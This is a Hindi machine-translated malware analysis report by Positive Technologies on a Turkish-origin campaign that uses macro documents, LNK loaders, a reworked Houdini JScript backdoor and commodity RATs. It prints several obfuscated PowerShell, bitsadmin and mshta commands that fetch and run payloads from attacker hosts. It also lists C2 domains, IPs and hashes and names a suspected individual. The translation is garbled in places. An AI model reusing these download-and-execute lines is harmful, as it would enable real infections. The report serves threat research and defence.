😽 🐨 👩🏼‍⚕️ कीड़े, चूहे ... और एक फ्रीलांसर के साथ तुर्की चालें 🎹 🥋 🆒

पॉजिटिव टेक्नोलॉजीज सिक्योरिटी सेंटर (पीटी एक्सपर्ट सिक्योरिटी सेंटर) के खतरे अनुसंधान समूह के विशेषज्ञों ने एक दुर्भावनापूर्ण अभियान की खोज की जो कम से कम जनवरी 2018 के मध्य से सक्रिय है। यह ऑपरेशन ब्राजील, यूके, हंगरी, जर्मनी, लात्विया, अमेरिका, तुर्की और फिलीपींस के उपयोगकर्ताओं के लिए लक्षित है। पीड़ित के पीसी को संक्रमित और नियंत्रित करने के लिए कई प्रकार के उपकरण और तकनीकों का उपयोग किया जाता है। इस रिपोर्ट में संक्रमण के चरण, उपयोग की जाने वाली उपयोगिताओं, नेटवर्क के बुनियादी ढांचे को व्यवस्थित करने की विशेषताएं, साथ ही साथ डिजिटल निशान हैं जो हमें एक उम्मीदवार हैकर बनने के लिए प्रेरित करते हैं।

सारांश

हमलावरों ने कृमि को 10 साल पहले संसाधित किया था, आधुनिक तकनीकों को ध्यान में रखते हुए
उपकरणों का चिड़ियाघर एक व्यापक नेटवर्क बुनियादी ढांचे के साथ संयोजन के रूप में उपयोग किया जाता है
मुख्य संदिग्ध एक तुर्की फ्रीलांसर है

पेलोड डिलीवरी

कार्यालय के दस्तावेज

5 अप्रैल, 2019 को, नए खतरों पर नज़र रखने के भाग के रूप में, पीटी विशेषज्ञ सुरक्षा केंद्र के विशेषज्ञों ने एक संदिग्ध कार्यालय दस्तावेज़ की खोज की। एक्सटेंशन .docm के साथ फ़ाइल (मैक्रो समर्थन के साथ एक नए नमूने का एमएस वर्ड दस्तावेज़):

खोज से कुछ दिन पहले (2019-03-31),
मैक्रो को सक्षम करने के लिए उपयोगकर्ता को समझाने के लिए एक छवि शामिल है,
तुर्की भाषा के साथ एक प्रणाली पर बनाया गया था (यह मेटाडेटा फ़ील्ड के मूल्यों से स्पष्ट है: "कोनु बास्लिम" - "विषय शीर्षक", "कोनु बा l, 1" - "विषय शीर्षक, 1"; Google अनुवाद अनुवाद)।

अंजीर। 1. विशिष्ट मैक्रो अधिसूचना जाल

मैक्रो कोड थोड़ा अव्यवस्थित है, लेकिन लैकोनिक: पावरशेल के लिए बैकग्राउंड इंटेलिजेंट ट्रांसफर मैनेजमेंट (बिट्स) cmdlet का उपयोग करते हुए, यह हमलावर सर्वर से एक JScript स्क्रिप्ट लोड और चलाता है:

Shell ("pow" & "ershe" & "ll -comm" & "and ""$h1='e';&('i' + $h1 + 'x')('Import-Module BitsTransfer;Start-BitsTransf' + $h1 + 'r https://definebilimi.com/1/b12.js $env:t' + $h1 + 'mp\bb1.js;');Start-Process -WindowStyle hidden -FilePath 'cmd.exe' -ArgumentList '/c %systemroot%\system32\wscript %temp%\bb1.js'""")

PowerShell और वेब सर्वर से फ़ाइलों को डाउनलोड करने के लिए एक atypical मॉड्यूल का उपयोग अप्रकाशित कार्यक्रमों के लॉन्च और निष्पादन पर प्रतिबंधों को दरकिनार करने के प्रयास के कारण होता है।

इसी तरह के कई दस्तावेज हैं। उदाहरण के लिए, उनमें से एक तुर्की में वर्णों के कोड पृष्ठ के साथ एक .doc फ़ाइल (एक पुरानी शैली का MS Word दस्तावेज़) है। मैक्रो का काम भी बहुत समान है:

 Shell "cmd.exe /c bitsadmin /transfer myjob /download /priority FOREGROUND https://definebilimi.com/up3e.js %temp%\o2.js & wscript.exe %temp%\o2.js", vbHide

इस मामले में, लेखक उसी BITS तकनीक का उपयोग करता है, लेकिन वैध सिस्टम उपयोगिता बिटसैडमिन की मदद से। दिलचस्प बात यह है कि दस्तावेज बनाने की तिथि और सार्वजनिक स्रोतों में खोजे गए समय दोनों को जुलाई 2018 के मध्य तक भेज दिया गया। इस प्रकार, हमले कम से कम एक वर्ष के लिए प्रासंगिक हैं। इसके अलावा, पेलोड को डाउनलोड करने के लिए एक ही हमलावर सर्वर का उपयोग किया जाता है; JScript में एक लोड करने योग्य स्क्रिप्ट का नामकरण करने के लिए दृष्टिकोण समान है।

एक अन्य दस्तावेज़ में एक्सटेंशन .rtf (रिच टेक्स्ट फॉर्मेट) है। इसमें एक ही सामग्री के साथ कई .xls दस्तावेज़ (पुराने-शैली वाले MS Excel दस्तावेज़) होते हैं। मैक्रो कोड मूल दस्तावेज से निकाले गए एक के समान है, और कोड पृष्ठ मानों और हेडिंगपेयर XML क्षेत्र के संयोग से एक ही प्राधिकरण बन जाता है।

LNK शॉर्टकट

यह ध्यान देने योग्य है कि इस अभियान में संक्रमण के प्रारंभिक चरण के रूप में न केवल कार्यालय दस्तावेजों का उपयोग किया गया था। हम दुर्भावनापूर्ण .lnk फ़ाइलों (विंडोज शेल लिंक) के एक जोड़े से मिले, जिसे लॉन्च करने पर, निम्न कमांड चलाया गया:

 C:\Windows\System32\cmd.exe /c powershell -command "$h1='e';&('i' + $h1 + 'x')('Import-Module BitsTransfer;Start-BitsTransf' + $h1 + 'r https://definebilimi.com/1/b12.js $env:t' + $h1 + 'mp\bb.js;')" & %systemroot%\system32\wscript %temp%\bb.js

मार्च के मध्य और अप्रैल 2019 के अंत में लेबल वितरित किए गए थे।

शॉर्टकट मेटाडेटा में उपयोगकर्ता नाम win7-bilgisayar (तुर्की "win7-computer" से) है - उस सिस्टम का उपयोगकर्ता जिस पर वे बनाए गए थे।

हम सुरक्षित रूप से मान सकते हैं कि फ़िशिंग ईमेल संक्रमण के पहले चरण में दुर्भावनापूर्ण फ़ाइलों को वितरित करने के लिए सबसे संभावित परिदृश्य हैं।

हौदिनी मेटामोर्फोसस

संक्रमण के पहले चरण की सभी जांच की गई वस्तुओं को डाउनलोड करें और एक ही स्क्रिप्ट को JScript में चलाएं (बिना मामूली अंतर को ध्यान में रखे)। फ़ाइल को बाधित नहीं किया गया है और पैक नहीं किया गया है, और केवल एक चीज जो विश्लेषण को जटिल करने के लिए की गई है वह है यादृच्छिक चर नाम। यह डब्ल्यूएसएच प्लेटफॉर्म पर एक पिछले दरवाजे है। उनके काम की विशेषताओं में, निम्नलिखित को प्रतिष्ठित किया जा सकता है:

प्रबंधन सर्वर का होस्ट पता और पोर्ट एक स्क्रिप्ट में सुरक्षित हैं
C और C के साथ सहभागिता HTTP प्रोटोकॉल के POST- अनुरोधों के माध्यम से की जाती है।
काम की शुरुआत के समय, स्ट्रिंग "इस-बेकल" को यूआरआई क्षेत्र में डाला जाता है, जिसका अनुवाद तुर्की से "तैयार है" के रूप में किया जाता है।
उपयोगकर्ता-एजेंट फ़ील्ड में निर्दिष्ट सीमांकक के साथ सिस्टम के बारे में संक्षिप्त जानकारी है (इस मामले में, "<|>"):
- हार्ड ड्राइव का क्रम संख्या
- , उपयोगकर्ता नाम
- सिस्टम संस्करण
- लिपि का नाम
- एंटीवायरस नाम
- पर्यावरण चर% ProgramData% का मूल्य,
- सिस्टम में .Net फ्रेमवर्क 4.5.2 की उपस्थिति,
- अनुरोधों के बीच मध्यांतर,
- सिस्टम में जावा।
हार्ड ड्राइव के दिए गए सीरियल नंबर द्वारा Kaspersky Lab के सैंडबॉक्स के विषय के लिए पर्यावरण की जाँच करता है। संयोग के मामले में, यह काम करना बंद कर देता है।
यह सर्वर से प्राप्त होता है और दिए गए कमांड को निष्पादित करता है; यहाँ उनमें से कुछ हैं:
- सर्वर से फाइल डाउनलोड करना,
- सर्वर पर फ़ाइल अपलोड करें
- क्लिपबोर्ड सामग्री एकत्रित करना,
- कैटलॉग सामग्री का संग्रह,
- प्रक्रिया की जानकारी का संग्रह,
- cmd.exe दुभाषिया में कमांड चलाना,
- स्क्रीनशॉट लेना और भेजना,
- Chrome और Opera डेटाबेस को पासवर्ड से पुनर्प्राप्त करें और सबमिट करें।

अंजीर। 2. हमलावर सर्वर से JScript में लोड स्क्रिप्ट की शुरुआत

टिप्पणियों की उपस्थिति से, कोड की संरचना, उपयोग किए गए कमांड नामों और सिस्टम के बारे में जानकारी एकत्र करने के लिए प्रारूप, एक प्रसिद्ध वीबीएस वर्म हुडिनी के साथ एक समानांतर आकर्षित कर सकता है। 2013 में, FireEye से हमारे सहयोगियों ने इस ट्रोजन के कार्यों, आदेशों के प्रसंस्करण और सूचनाओं के संग्रह का एक विस्तृत विश्लेषण प्रदान किया जिसमें एक समान तरीके से होता है। ऐसा लगता है कि हमारे मामले में हमलावर ने एक प्रसिद्ध कीड़े के मॉडल को आधार के रूप में लिया, फिर से लिखना VBScript में नहीं बल्कि JScript में काम करता है, और कुछ अंग्रेजी लाइनों को तुर्की लोगों के साथ बदल दिया।

अंजीर। 3. प्रसंस्करण JScript बैकडोर आदेश

यह ध्यान देने योग्य है कि कमांड निष्पादन के परिणामों के एक मार्कर के रूप में, "Bcorp" के विकल्प वाले तार का उपयोग किया जाता है। यह प्रबंधन सर्वर ip1 [।] Bcorp.fun के नाम से भी मौजूद है।

एक हमलावर सर्वर पर

Shodan के अनुसार, 30 अप्रैल, 2019 तक, एक हमलावर ने AppServ पर आधारित एक वेब सर्वर की मेजबानी की। ऐसा नहीं लगता है कि सर्वर सावधानी से कॉन्फ़िगर किया गया था: उदाहरण के लिए, phpinfo पृष्ठ उपलब्ध है, जो दिलचस्प कॉन्फ़िगरेशन जानकारी का खुलासा करता है। जब उन वेब लिंक का विश्लेषण किया गया था जिनसे मैलवेयर डाउनलोड किया गया था, तो यह पता चला कि सर्वर में एक खुला निर्देशिका (./a निर्देशिका) है जो अन्य हमलावरों के उपकरणों को सूचीबद्ध करता है।

अंजीर। 4. हमलावर सर्वर का मुखपृष्ठ

अंजीर। 5. हमलावर सर्वर पर phpinfo पृष्ठ

अंजीर। 6. अप्रैल 2019 के अंत में हमलावर सर्वर की खुली निर्देशिका की सूची

अंजीर। 7. मई 2019 के अंत में हमलावर सर्वर की खुली निर्देशिका की सूची

नीचे दी गई फ़ाइलों का विवरण है।

हउदिनी जस्स्क्रिप्ट

सबसे पहले, हमें संशोधित हुडिनी कीड़ा के कई रूप मिले, जो ऊपर चर्चा की गई है। संस्करण से संस्करण तक, स्क्रिप्ट में मामूली परिवर्तन हुए: होस्टनाम (husan2.ddns.net, ip1.bcorp.fun, ip1.qqww.eu), पोर्ट (86, 87), चर नाम, अलग-अलग नाम प्रकट या गायब हो गए। एक संस्करण भी JScript में एक स्क्रिप्टलेट के रूप में तैयार किया गया था।

अंजीर। 8. Houdini JScript एक स्क्रिप्टलेट के रूप में

Bcorp जार

स्व-निर्मित हल्के जावा बैकडोर। यह पोर्ट 22122 पर टीसीपी पर सी एंड सी के साथ सहभागिता करता है। यह कर सकता है:

cmd.exe दुभाषिया में कमांड निष्पादित करें,
सिस्टम का संस्करण निर्धारित करें
सूची निर्देशिका
फ़ाइलें अपलोड करें
स्टार्टअप निर्देशिका और रजिस्ट्री स्टार्टअप शाखा में रजिस्टर करें।

ऐसा लगता है कि यही कारण है कि सिस्टम में जावा के लिए संशोधित कीड़ा जाँच करता है। इसी समय, यह स्पष्ट नहीं है कि अतिरिक्त बैकडोर का उपयोग क्यों किया जाए, क्योंकि मूल में कार्यों का पर्याप्त सेट है।

Get-ChromeCreds

Chrome ब्राउज़र से इतिहास, लॉगिन, पासवर्ड, कुकीज निकालने के लिए PowerShell आवरण । कुछ संस्करणों में एक सहायक पुस्तकालय System.Data.SQLite.dll है, जो x86- और x64- सिस्टम के लिए बेस 64-एन्कोडेड रूप में है, जबकि अन्य लोग% APPDATA% निर्देशिका में इसकी उपस्थिति मानते हैं। घटक मुख्य JScript पिछले दरवाजे के लिए एक सहायक प्लगइन के रूप में आता है।

स्टार्ट-KeyLogger

एक साधारण keylogger के PowerShell कार्यान्वयन । घटक मुख्य JScript पिछले दरवाजे के लिए एक सहायक प्लगइन के रूप में आता है।

अंजीर। 9. पॉवरशेल कीगलर कोड स्निपेट

WebBrowserPassView

Nirsoft से एक उपयोगिता लोकप्रिय ब्राउज़र से लॉगिन और पासवर्ड प्राप्त करने के लिए। हमलावरों ने लेखक के संस्करण का उपयोग किया, पहले से इसे एएसएसीैक के साथ पैक किया ताकि विश्लेषण को जटिल किया जा सके या संकेतक द्वारा बाईपास का पता लगाया जा सके।

नेटवर आरएटी

दूरस्थ पीसी नियंत्रण के लिए एक सार्वजनिक रूप से उपलब्ध, वाणिज्यिक उपकरण । विभिन्न साइबर क्रिमिनल समूहों द्वारा उपयोग किया जाता है। मैलवेयर डेवलपर नेट प्लेटफॉर्म पर आरएटी को पीई में पैक करके और डीपसीए 4.1 कोड ओब्फ्यूसेटर का उपयोग करके विश्लेषण और खोज को जटिल करते हैं।

टीसीपी सुनो

राउटर या फ़ायरवॉल के मापदंडों के परीक्षण के लिए ऑलस्कोप से एक सरल जीयूआई उपयोगिता । प्रत्येक सुनने वाला पोर्ट कनेक्शन को समाप्त करते हुए, एक दिए गए स्ट्रिंग के साथ प्रतिक्रिया करता है।

अंजीर। 10. टीसीपी की GUI यूटिलिटी सुनें

Lnk लोडर

शॉर्टकट लोडर, जो पहले से पहले से ही माना जाता है के समान। स्टार्टअप पर, निम्न कमांड चलाता है:

 C:\Windows\System32\cmd.exe /v /c "set i=h&&ms!i!ta http://ip1.qqww.eu/1/f.htm"

इस बार शॉर्टकट किसी अन्य उपयोगकर्ता (डेस्कटॉप- amkd3n3) के तहत बनाया गया था।

स्क्रिप्ट लोडर

इस समूह में हमने उपरोक्त आरएटी के विभिन्न बूटलोडर्स को जोड़ा है। वे सभी छोटे हैं (1 केबी तक), विभिन्न प्रारूपों (.htm, .xsl, .hta, आदि) में, कोड को कई स्क्रिप्टिंग (JScript, PowerShell) भाषाओं में निष्पादित किया जाता है और संकलित ऑन-फ्लाई C #। नीचे कुछ नमूनों के कोड स्निपेट दिए गए हैं:

अंजीर। 11. .htm लोडर का फ्रैगमेंट

अंजीर। 12. .xsl बूटलोडर का टुकड़ा

अंजीर। 13. .ps1 बूटलोडर का टुकड़ा

छोटे पे लोडर

स्क्रिप्ट लोडर के अलावा, .NET प्लेटफ़ॉर्म पर PE फ़ाइलों की खोज की गई थी। वे समान क्षमता वाले छोटे (10 KB तक) भी हैं:

अंजीर। 14. पीई लोडर में से एक के विघटित कोड का एक उदाहरण

xRAT

एक सार्वजनिक रूप से उपलब्ध, दूरस्थ पीसी प्रबंधन के लिए स्वतंत्र रूप से वितरित परियोजना । विभिन्न संस्करण और संशोधन व्यापक हैं। C # में लिखा, आंशिक रूप से बाधित।

Bcorp पैनल बनाम। निर्माता

JScript बैकडोर के लिए नियंत्रण सर्वर भाग। इसी समय, यह ग्राहक के हिस्से का डिजाइनर है। .NET प्लेटफॉर्म पर पीई का प्रतिनिधित्व करता है। न पाबंदी, न पैक। इंटरफ़ेस पहले से उल्लेख किए गए वीबीएस वर्म हुडिनी के लिए एक पुन: डिज़ाइन किए गए सर्वर भाग जैसा दिखता है। आदेश भेजने के अलावा, यह संक्रमित मशीन के लिए पहले वर्णित अतिरिक्त घटकों और प्लगइन्स को डाउनलोड करता है: जावा पर्यावरण, पॉवरशेल स्क्रिप्ट और ब्राउज़र से जानकारी एकत्र करने के लिए निरसॉफ्ट की एक उपयोगिता, कीस्ट्रोक्स को इंटरसेप्ट करने के लिए पॉवरशेल स्क्रिप्ट आदि। यह उत्सुक है कि परियोजना को BcorpRat कहा जाता है। , जिसे नीचे दी गई छवियों में विंडो शीर्षक में देखा जा सकता है। और स्रोत कोड के नाम स्थान के नाम पर लाइन "Btech" है, जिसे हम बाद में वापस कर देंगे।

अंजीर। 15. JScript बैकडोर कंट्रोल पैनल, मुख्य विंडो

अंजीर। 16. नियंत्रण कक्ष JScript-backdoor, क्लाइंट भाग की डिजाइनर विंडो

नेटवर्क का बुनियादी ढांचा

इसके बाद, हम उन पतों का अधिक विस्तृत विश्लेषण करेंगे जिनके साथ हमलावर के इन या अन्य दुर्भावनापूर्ण कार्यक्रमों के बारे में बातचीत हुई। चलिए परिभाषितबिलीमी डॉट कॉम डोमेन से शुरू करते हैं, जिसे कार्यालय दस्तावेजों और शॉर्टकट लोडरों द्वारा एक्सेस किया जाता है।

definebilimi.com

16 जनवरी 2018 को, इस डोमेन का एक नया मालिक है। वैसे, "परिभाषित बिलिमी" का शाब्दिक रूप से तुर्की से "विज्ञान का खजाना" के रूप में अनुवाद किया गया है। उस समय WHOIS रिकॉर्ड के इतिहास के सबसे दिलचस्प आंकड़े नीचे दिए गए हैं।
सारणी 1. डिफिल्बिलिमी.कॉम डोमेन के कुलसचिव (मालिक) के बारे में जानकारी

रिकॉर्ड नाम	रिकॉर्ड मूल्य
कुलसचिव का नाम	कोरे यमन
कुलसचिव गली	123456
कुलसचिव नगर	इस्तांबुल
कुलसचिव देश	टी.आर.
रजिस्ट्रार फोन	९०.५३५०१६७३५२
रजिस्ट्रार ईमेल	btech@hotmail.com.tr

यह दावा करना लापरवाह होगा कि डेटा वास्तविक है। संकेतित देश और कोड में तुर्की भाषा के निशान की घटना की आवृत्ति हमें यह मानने की अनुमति देती है कि ये संयोग आकस्मिक नहीं हैं। और ईमेल पते में विकल्प "बीटेक" शामिल है, जिस पर हमने पहले ही ध्यान दिया है।

NS सर्वर में परिवर्तन का इतिहास जो पंजीकृत डोमेन के बारे में जानकारी प्रदान करता है, दिलचस्प लगता है:

तिथि	प्रभाव	सर्वर
2018/03/17	नई प्रविष्टि	buhar.biz
2019/01/15	रिकॉर्ड में बदलाव	definebilimi.com
2019/04/06	रिकॉर्ड में बदलाव	qqww.eu

तालिका 2। परिभाषित सर्वर के लिए NS सर्वर का इतिहास

Buhar.biz और qqww.eu मेजबान पहले से ही मैलवेयर में पहले से ही सामना कर चुके हैं।

buhar.us

इस डोमेन का नया इतिहास (तुर्की से "buhar" - "युगल") उसी दिन शुरू होता है, जैसा कि डिफाइर्बिलिमी.कॉम के इतिहास में - 16 जनवरी, 2018 से शुरू होता है।

रिकॉर्ड नाम	रिकॉर्ड मूल्य
कुलसचिव का नाम	बाल्टा ज़ार
कुलसचिव संगठन	BuharuS
कुलसचिव गली	Gizli
कुलसचिव नगर	Gizli
कुलसचिव देश	टी.आर.
रजिस्ट्रार फोन	१.१२,३४,५६,७८९
रजिस्ट्रार ईमेल	buharcin@yandex.com

तालिका 3. डोमेन buhar.us के कुलसचिव (मालिक) के बारे में जानकारी

स्थिति समान है: फिर से, डाक पते (तुर्की से "buharcin" - "लोकोमोटिव") को छोड़कर कुछ डेटा नकली लगते हैं।

bcorp.fun

डोमेन 23 मार्च 2019 से पंजीकृत है। इस तथ्य के अलावा कि तुर्की फिर से एक देश के रूप में पंजीकृत है, Bcorp को एक ग्राहक संगठन के रूप में सूचीबद्ध किया गया है। दरअसल, हम डोमेन नाम में ही वही चीज़ देखते हैं, जैसे पहले कई पैराग्राफ में थी।

husan2.ddns.net

यह उत्सुक है कि हमलावर न केवल शास्त्रीय तरीके से मेजबान को प्राप्त करता है। मार्च 2019 के मध्य से, तथाकथित डायनेमिक डीएनएस सर्वर का उपयोग दर्ज किया गया है। प्रौद्योगिकी हमलावरों को अपने आईपी पते को प्रभावी ढंग से छिपाने और उनके नियंत्रण केंद्रों की जीवन शक्ति सुनिश्चित करने की अनुमति देती है। यह नामों की पसंद में कुछ भविष्यवाणी करने योग्य है: उदाहरण के लिए, कुछ महीनों के बाद, husan3.ddns.net डोमेन का उपयोग किया गया था, लेकिन husan.ddns.net डोमेन की गतिविधि अप्रैल 2017 तक वापस आ गई।

bkorp.xyz

अप्रैल की शुरुआत के बाद से, हैकर, गुमनामी के रास्ते पर बढ़ना जारी रखता है, जो पनामा में स्थित सेवा व्हिसगार्ड, इंक। का उपयोग करके डोमेन पंजीकृत करता है; bkorp.xyz, prntsrcn.com और i37-imgur.com केवल कुछ उदाहरण हैं। एनएस सर्वर का उपयोग अभी भी उन्हें अन्य दुर्भावनापूर्ण डोमेन से जोड़ता है।

qqww.eu

इस तथ्य के अतिरिक्त कि इस डोमेन, डोमेन bcorp.fun की तरह, एक उपडोमेन ip1 है, एक और महत्वपूर्ण विवरण है। कुलसचिव की जानकारी कथित रूप से बर्लिन में स्थित संगठन ओस्बिल टेक्नोलॉजी लिमिटेड को इंगित करती है। वास्तव में, एक ही नाम का संगठन आंशिक रूप से मान्यता प्राप्त तुर्की गणराज्य उत्तरी साइप्रस के क्षेत्र में - फागुस्टा शहर में साइप्रस के तट पर स्थित है। और कंपनी की आधिकारिक वेबसाइट डोमेन पर स्थित है, जो मार्च से मई 2019 तक डोमेन bcorp.fun का एनएस-सर्वर था। हमें नाम सर्वर के समझौते के संकेत नहीं मिले, और एनएस प्रदाता की बुनियादी सुविधाओं (रजिस्ट्रार कॉलम में प्रदाता डेटा के साथ ग्राहक की जगह) ने सार्वजनिक जानकारी से ग्राहक जानकारी को छिपाना संभव बना दिया।

अंजीर। 17. qqww.eu डोमेन के रजिस्ट्रार (मालिक) के बारे में जानकारी

आईपी पते

पूर्णता के लिए, नीचे आईपी पते हैं - अलग-अलग समय अंतराल पर उनसे संबंधित कुछ डोमेन के साथ:

5.255.63.12
- bcorp.fun
- husan.ddns.net
- husan2.ddns.net
- husan3.ddns.net
- qqww.eu
192.95.3.137
- bcorp.fun
- bkorp.xyz
- definebilimi.com
- i36-imgur.com
- i37-imgur.com
- i38-imgur.com
- i39-imgur.com
- prntsrcn.com
- qqww.eu
192.95.3.140
- bkorp.xyz
- buhar.us
हैकर के चक्कर में

दुर्भावनापूर्ण और सहायक उपकरणों के बीच, हमलावर के सर्वर पर एक जिज्ञासु छवि पाई गई:

अंजीर। 18. हमलावर की मेजबानी पर निर्देशिका में छवि

हमने चित्र के रिज़ॉल्यूशन को कम नहीं किया, बल्कि इसे यहाँ उस रूप में रखा, जिस रूप में यह मेजबान पर था।

कम छवि गुणवत्ता के बावजूद, हम यह स्थापित करने में सक्षम थे कि यह संसाधन अवरोधक पर क्रिप्टोक्यूरेंसी के साथ एक पूर्ण लेनदेन के बारे में एक पृष्ठ का स्क्रीनशॉट है। यह काम नहीं करता था, इसलिए हमने IMG_JPEG-0371e4dce3c8804f1543c3f0f309cc11.jpg नाम से संबंधित हर चीज को खोजने की कोशिश की, जिसके साथ हैकर द्वारा छवि संग्रहीत की गई थी। निशान एक ऑनलाइन विश्लेषक पर प्रसंस्करण के परिणाम के लिए नेतृत्व किया कुछ फ़ाइल जिसका नाम हमारे चित्र के नाम के साथ मेल खाता है। प्रोसेस्ड ऑब्जेक्ट एक विंडोज शॉर्टकट है, जो उन लोगों के समान है जिनकी हमने पहले ही जांच की थी। उनके साथ एक तस्वीर तुर्की नागरिक के पहचान पत्र की तस्वीर के साथ लगी हुई थी, जिसका उपनाम उस उपनाम के साथ आता है जिसे डोमेन - यमन पंजीकृत करते समय इंगित किया गया था।

अंजीर। 19. बूट लोडर के साथ पहचान पत्र

ऑनलाइन सैंडबॉक्स में शॉर्टकट का प्रसंस्करण उपयोगकर्ता द्वारा फाइल को डाउनलोड करने के परिणामस्वरूप नहीं हुआ, बल्कि उस URL को प्रेषित करने से जिसमें से ऑब्जेक्ट को डाउनलोड और संसाधित करना आवश्यक था:

hxxps://github.com/btechim/prntsrcn/blob/nm46ny/IMG-0371e4dce3c8804f1543c3f0f309cc11.jpg.lnk?raw=true

उपयोगकर्ता का गिथब खाता पहले से ही अवरुद्ध है, हालांकि, लिंक का उपयोग करके हम उपयोगकर्ता उपनाम (बिटेकिम) और परियोजना का नाम (prntsrcn) सेट कर सकते हैं। परियोजना का नाम अभियान (prntsrcn.com) में पाए गए डोमेन में से एक के नाम के साथ मेल खाता है, और उपयोगकर्ता के उपनाम में सब्स्टीट्यूट बीटेक है, जो ऊपर वर्णित व्यवस्थापक पैनल के प्रोग्राम कोड में दिखाई देता है।

उपयोगकर्ता के उपनाम की खोज करने से हमें एक फ्रीलांसर संसाधन प्राप्त हुआ, जिस पर तुर्की का एक उपयोगकर्ता का पेज स्थित है - उसी उपनाम के साथ, एक पुष्टिकृत फोन नंबर, मेलिंग पता और फेसबुक प्रोफाइल के साथ - साइबर सुरक्षा के क्षेत्र में सॉफ्टवेयर विकसित करने में अपनी सेवाएं प्रदान करता है।

अंजीर। 20. फ्रीलांसरों के लिए संसाधन पर कथित हमलावर पृष्ठ

निष्कर्ष

कई महीनों के लिए, पॉजिटिव टेक्नोलॉजीज के विशेषज्ञों ने तुर्की मूल के दुर्भावनापूर्ण अभियान के विकास की निगरानी की और संचित डेटा को सीईआरटी तुर्की में स्थानांतरित कर दिया। यह अक्सर दूर है कि हमलों की एक श्रृंखला के दौरान आधुनिक तकनीक और पुनर्नवीनीकरण उपकरण का उपयोग 10 साल पहले किया जाता है। हमलावर ने लक्ष्य पीसी पर पूर्ण नियंत्रण हासिल करने के लिए कई प्रकार के औजारों का उपयोग किया (उद्देश्य से, मंच द्वारा, कठिनाई के स्तर पर)। यह उनकी पहचान छिपाने के प्रयासों में नेटवर्क के बुनियादी ढांचे को तैयार करने में दृष्टिकोणों की परिवर्तनशीलता को ध्यान देने योग्य है। हालांकि, एक बार फिर से सब कुछ को ध्यान में नहीं रखा गया था, अपराधी द्वारा अहंकार और कई चूक जारी किए गए थे। अध्ययन को तुर्की सूचना सुरक्षा हादसा प्रतिक्रिया केंद्र के लिए भेजा गया था।

IOCs
कार्यालय लोडर:
3305720da73efbcb7d25edbb7eff5a1a
5b6d77f3e48e7723498ede5d5ba54f26
621a0133e28edec77a2d3e75115b8655
712e7ec49ad3b8c91b326b6d5ee8dcd8
731a3d72e3d36c2270c1d0711c73c301
929374b35a73c59fe97b336d0c414389

LNK लोडर:
3bc5d95e2bd2d52a300da9f3036f5b3b
527069e966b4a854df35aef63f45986a
a4667e0b3bfaca0cda5c344f1475b8e0

Houdini JScript:
04c2ad67de2cea3f247cf50c5e12e969
5ab9176b9ed9f7a776ec82c412a89eab
84f0d098880747f417703f251a2e0d1c
94c6ba0d812b4daf214263fffc951a20
a52509a38846b55a524019f2f1a06ade
bf2fb6cdbc9fde99e186f01ad26f959f
c871091ce44594adbd6cf4388381e410
daf6a9eb55813d1a151695d33506179d
f010af1b330d00abb5149e9defdae6ee
ff924faeb9dfd7384c05abe855566fc9

Bcorp जार
59978b5a9e4ab36da0f31a8f616cc9d3
a7219da3b0c0730c476fe340dbf7e4e5
ddac55213089da9ef407bce05ebe653e

Get-ChromeCreds
11769e9f49123a2af00bd74453221c07
1a81c9119d7761535c198ddb761979b8
42a85849a591e65b0254d9bcbdf59f82
8e49263f33c53ee5bc91bebbf9617352
c9ab090ad2badb9862fd5b6058428096

स्टार्ट-KeyLogger
55daa84475a11ea656183e0ad5ccc608
aa82fbb6a341d71d2431b6d2ebca027c

WebBrowserPassView
7722e086cf7ed59955a1d6ec26f49cf3

नेटवर आरएटी
1470a08bd427bb8738a254ba4f130ff5
5f8495016773c7834b1c588f0997a6c4

टीसीपी सुनो
913567da98185cad9f91a570dc298de1

स्क्रिप्ट लोडर
02946d10c6a34fe74826f3c0b0a6a3e0
1ad644bdba488a6e42ad76aea2c0ee54
3a2dcf36b9206a135daa73c645a3f56f
4dddd87d3cb80145c9859fd76dfef794
74c5e5be9f79bd9e7ee84fd046c14e68
78f4d5fa6c68dae4b03860b54ec6cc67

छोटे पे लोडर
0f3c56018a7051aebe060454fc981f5b
1b9cefc229daddc4557cea0e3bdf4656
29e6679107bd9c72aa061371082206bb
b66b7395825b9ed656b768d4e7fe1de7
fbc606b8b04e51ddb342e29b84ac1edb

xRAT
2e9a0637478938cc3e4519aa7b4219cc
7c67c93ba243be32e5fd6a6921ceded3

Bcorp पैनल बनाम। निर्माता
405c987ba1a8568e2808da2b06bc9047
c3ac8b7a7c8c0d100e3c2af8ccd11441

Bcorp C & C
bcorp.fun
bkorp.xyz
buhar.us
definebilimi.com
husan.ddns.net
husan2.ddns.net
husan3.ddns.net
i36-imgur.com
i37-imgur.com
i38-imgur.com
i39-imgur.com
prntsrcn.com
qqww.eu
5.255.63.12
192.95.3.137
192.95.3.14

एलेक्सी विष्णकोव, सकारात्मक टेक्नोलॉजीज द्वारा पोस्ट किया गया

कीड़े, चूहे ... और एक फ्रीलांसर के साथ तुर्की चालें